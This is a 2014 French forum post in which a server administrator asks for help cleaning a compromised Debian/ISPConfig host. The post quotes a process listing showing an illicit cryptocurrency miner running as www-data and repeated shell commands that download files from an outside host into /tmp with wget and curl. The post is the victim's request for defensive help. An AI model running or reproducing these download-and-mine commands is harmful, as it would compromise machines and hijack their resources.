URL: https://linuxfr.org/forums/general-general/posts/attaque-d-un-serveur-dedier Title: Attaque d'un serveur dédier Authors: robinwood01 Date: 2014年06月02日T21:55:33+02:00 License: CC By-SA Tags: debian Score: 0 Bonjour à tous, Je suis nouveau sur ce forum. Si je viens vers vous c'est pour essayé de me sortir d'une mauvaise situation. Le but est de nettoyer mon serveur pour que je puisse migrer tranquillement les sites, les boites mails qui se trouve dessus. J'ai pris un nouveau serveur plus "costaud" il y a quelques jours j'ai mis un ESX. Le but est de faire au moins 3 serveurs, une pour les mails client, un pour les sites client et un pour mon usage. En attendant de mettre cela en place, j'aimerais un peu de répit mais je viens de me faire attaqué, je m'en suis rendu compte car plusieurs clients mon appelé pour me dire qu'ils ne recevaient plus les mails. Le système actuel Debian 6 + ispconfig. Apparemment j'ai plusieurs ligne suspect dans les processus, voir ci dessous. J'ai nettoyé le répertoire tmp de root, et quelques répertoire web, redémarrer mais ca revient tout le temps. Si quelques peux m'apporter un peu d'aide je suis preneur. Merci d'avance> citation 18725 www-data 375 % ./kernelcfg -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.3 -p passxxx 10010 web24 26.0 % /usr/bin/php-cgi -d open_basedir=/var/www/clients/client13/web24/web:/var/www/cl ... 9498 www-data 0.0 % /bin/sh -c cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http:// ... 9500 www-data 0.0 % /bin/sh -c cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http:// ... 9502 www-data 0.0 % /bin/sh -c cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http:// ... 9506 www-data 0.0 % /bin/sh -c cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http:// ... 9508 www-data 0.0 % wget http://updates.dyndn-web.com/.../abc.txt 9509 www-data 0.0 % /bin/sh -c cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http:// ... 9513 www-data 0.0 % /bin/sh -c cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http:// ... 9516 www-data 0.0 % wget http://updates.dyndn-web.com/.../abc.txt 9517 www-data 0.0 % wget http://updates.dyndn-web.com/.../abc.txt 9519 www-data 0.0 % wget http://updates.dyndn-web.com/.../abc.txt 9521 www-data 0.0 % wget http://updates.dyndn-web.com/.../abc.txt